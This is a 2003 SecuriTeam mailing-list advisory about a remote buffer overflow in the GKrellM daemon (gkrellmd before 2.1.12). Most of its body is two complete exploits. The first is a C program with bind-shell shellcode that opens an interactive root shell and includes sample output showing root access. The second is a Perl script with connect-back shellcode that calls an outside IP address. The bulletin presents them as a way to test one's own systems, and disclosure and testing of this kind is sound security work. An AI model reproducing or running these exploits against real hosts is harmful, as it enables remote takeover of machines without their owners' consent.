[EXPL] GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Shellcode Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/25/03

  • Next message: SecuriTeam: "[UNIX] Gnome Batalla Naval Remotely Exploitable Buffer Overflow (Exploit)"
    To: list@securiteam.com
    Date: 25 Jun 2003 13:14:02 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security in Canada

    Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
    We welcome ISPs, system integrators and IT systems resellers
    to promote the most advanced vulnerability assessment solutions today.

    Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

    - - - - - - - - -

      GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Shellcode
    Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/unixfocus/5ZP0P15AAC.html> GKrellM Vulnerable
    to Remotely Exploitable Buffer Overflow, a remotely exploitable buffer
    overflow in GKrellM allows attackers to gain elevated privileges by
    causing the program to overflow one of its internal buffers (and causing
    it to execute arbitrary code due to this). The following two exploit codes
    can be used to test your system for the mentioned vulnerability.

    DETAILS

    Exploit (Debian):
    /*********************************************************************************\
     ** gkrellmd < 2.1.12 (linux) remote exploit written by r-code
    d_fence@gmx.net
     **
     ** The Exploit was tested on Debian 3.0 (Woody) with gkrellmd 2.1.4
     ** and worked fine. To work with other distros you might have to adjust
    the offset
     ** which should be between 1800-2300, you can try in 100 steps..
     ** The only problems is that gkrellmd crashes each time an unsuccesful
    exploitation
     ** attempt is run. Therefore you`d have only one chance to do it,
    otherwise
     ** the daemon will crash and will need to be restarted..
     **
     ** This exploit allows to gain the uid/gid of the person who runs
    gkrellmd
     ** (often r00t). Therefore it might be quite useful for some of you..
     **
     ** example:
     **
     **
     ** r-code@coredump:/tmp$ ./gkrhack0x03 localhost 2100
     ** :: gkrellmd < 2.1.12 (linux) exploit by r-code d_fence@gmx.net [Elite
    FXP Team]
     **
     ** * Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher
     ** * Flames to: ElSiLaSoF
     **
     ** [*] Building packet...
     ** [+] OFFSET 0x834, RET_ADDR: 0xbffff7cb
     ** [+] Connecting to 'localhost' on port '19150'..
     ** [+] Sending packets..
     ** [+] ExPloIt SuCcEsFul!!
     ** [+] EnJoY Ya ShElL (Elite FXP Team)
     **
     ** uid=0(root) gid=0(root) groups=0(root)
     ** 11:01:02 up 1:36, 2 users, load average: 1.05, 0.37, 0.21
     ** USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
     ** root tty1 - 09:26 1:34m 1.60s 0.01s /bin/sh /usr/bi
     ** r-code tty3 - 11:00 1.00s 1.63s 0.29s ./a.out localho
     ** Linux coredump 2.4.20 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
     ** readline: warning: rl_prep_terminal: cannot get terminal
    settingsbash-2.05a#
     **
     ** Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher
     ** Flames to: ElSiLaSoF - *** ya bitch!!!
    \*********************************************************************************/

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <errno.h>

    /* Bind shellcode by wsxz from priv8security , binds shell on 5074 */

    char shellcode[]=
    "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
    "\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1"
    "\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04"
    "\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66"
    "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6"
    "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
    "\x89\xe1\xb0\x0b\xcd\x80";

    #define LEN 500
    #define DEFAULT_OFFSET 2100 /* Try to play with offsets around 1800 - 2300
    in 100 steps */
    #define PORT 19150

    int connect_to_host(char *hs,int port)
    {
            int sock,x;
            struct sockaddr_in addr;
      struct hostent *host;
      
      if(!(host = gethostbyname(hs))) {
        perror("gethostbyname(): while resolving host");
        exit(1);
      }
      
      
            addr.sin_family = AF_INET;
            addr.sin_port = htons(port);
      bcopy(host->h_addr,&addr.sin_addr,host->h_length);

            if((sock = socket(AF_INET, SOCK_STREAM, 0))<0) {
                    perror("socket() error");
                    return(-1);
            }

            if((x = connect(sock, (struct sockaddr *)&addr, sizeof(addr)))<0)
    {
                    perror("connect() error");
                    return(-1);
            }

            return sock;
    }

    void shell(int sd)
    {
          int check;
          char cmd[]="id; w; uname -a; export TERM=vt100; exec /bin/bash
    -i\n";
          char buf[2048];
                fd_set fd;

                bzero(buf,2048);
          send(sd,cmd,strlen(cmd),0);

          while(1) {
      
            fflush(stdout);
            FD_ZERO(&fd);
            FD_SET(sd,&fd);
            FD_SET(STDIN_FILENO,&fd);
            select(sd+1,&fd,NULL,NULL,NULL);
        
            if(FD_ISSET(sd,&fd)) {
              if((check=read(sd,buf,2048))<=0)
                exit(1);
          
          buf[check]=0;
          printf("%s",buf);
            }
        
            if(FD_ISSET(STDIN_FILENO,&fd)) {
              if((check=read(STDIN_FILENO,buf,2048))>0) {
                  buf[check]=0;
            write(sd,buf,check);
              }
            }
          }
          return;
    }

    int main(int argc,char **argv) {
      int i,sd;
      char *evilstr,*str;
      unsigned long int retaddr=0,offset=DEFAULT_OFFSET;

      printf(":: gkrellmd < 2.1.12 (linux) exploit by r-code d_fence@gmx.net
    [Elite FXP Team]\n\n");
      printf("* Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik,
    Cypher\n");
      printf("* Flames to: ElSiLaSoF\n\n");
      

      if(argc<2 || argc>3){
        printf("[-] Usage: ./gkrhack0x03 [host] <offset> #Offset should be
    between 1800-2300\n");
        return -1;
      }
          
      
      if(argc>2)
        offset=atoi(argv[2]);
      
      retaddr=0xbfffffff - offset;
      
      printf("[*] Building packet...\n");
      printf("[+] OFFSET 0x%x, RET_ADDR: 0x%x\n",offset,retaddr);
          
      evilstr=(char *)malloc(LEN);
      memset(evilstr,'A',500);

                       evilstr[156] = (retaddr & 0x000000ff);
                       evilstr[157] = (retaddr & 0x0000ff00) >> 8;
                       evilstr[158] = (retaddr & 0x00ff0000) >> 16;
                       evilstr[159] = (retaddr & 0xff000000) >> 24;
      
      evilstr[154]=0xeb; // Jump 4 bytes over the retaddr
      evilstr[155]=0x04;
      
      memset(evilstr+160,'A',500-160);

      for(i=0;i<strlen(shellcode);i++)
        evilstr[LEN - strlen(shellcode)+i]=shellcode[i];

      evilstr[LEN]=0x00;
      
      printf("[+] Connecting to '%s' on port '%d'..\n",argv[1],PORT);
      
      if((sd=connect_to_host(argv[1],PORT))<0) {
        printf("[-] Couldn`t connect to host..\n");
        exit(1);
      }
      
      printf("[+] Sending packets..\n");
          
      if(send(sd,"gkrellm 2.1.10\n",15,0)<0) {
        perror("send(): while sending client version");
        return -1;
      }
        
      if(send(sd,evilstr,500,0)<0) {
        perror("send(): while sending evil string");
        return -1;
      }

      close(sd);
        
      if((sd=connect_to_host(argv[1],5074))<0) {
        printf("[-] Exploit failed..! #Probably due to a bad offset\n");
        return -1;
      }

      printf("[+] ExPloIt SuCcEsFul!!\n");
      printf("[+] EnJoY Ya ShElL (Elite FXP Team)\n\n");
      
      shell(sd);
      
      return 1;
    }

    Exploit (FreeBSD):
    #!/usr/bin/perl -s
    # kokaninATdtors.net playing with gkrellmd on FreeBSD 4.8-RELEASE
    # I just ripped their code and made it do something useful instead
    # shellcode by bighawk(i think) - wow this is badly formatted.

    use IO::Socket;
    if(!$ARGV[0] || !$ARGV[1])
    { print "usage: ./DSR-geekrellm.pl <host> <port> (default gkrellmd is
    19150)\n"; exit(-1); }

    $host = $ARGV[0];
    $port = $ARGV[1];
    $ret = pack("l",0xbfbffa60);
    $shellcode =
    "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9\x9d\x26\x26\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80";
    #--> connect-back to a useless ip, change it:) ^^217.157.38.38^ ^^10000^
    $nop = "\x90";
    $buf = "A" x 128 . $ret x 2 . $nop x 500 . $shellcode;

    $socket = new IO::Socket::INET
    (
    Proto => "tcp",
    PeerAddr => $host,
    PeerPort => $port,
    );

    die "unable to connect to $host:$port ($!)\n" unless $socket;

    print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
    sleep(1); #might have to adjust this on slow connections
    print $socket $buf;

    close($socket);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:d_fence@gmx.net> r-code
    (Debian) and <mailto:kokanin@dtors.net> kokanin (FreeBSD).

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Gnome Batalla Naval Remotely Exploitable Buffer Overflow (Exploit)"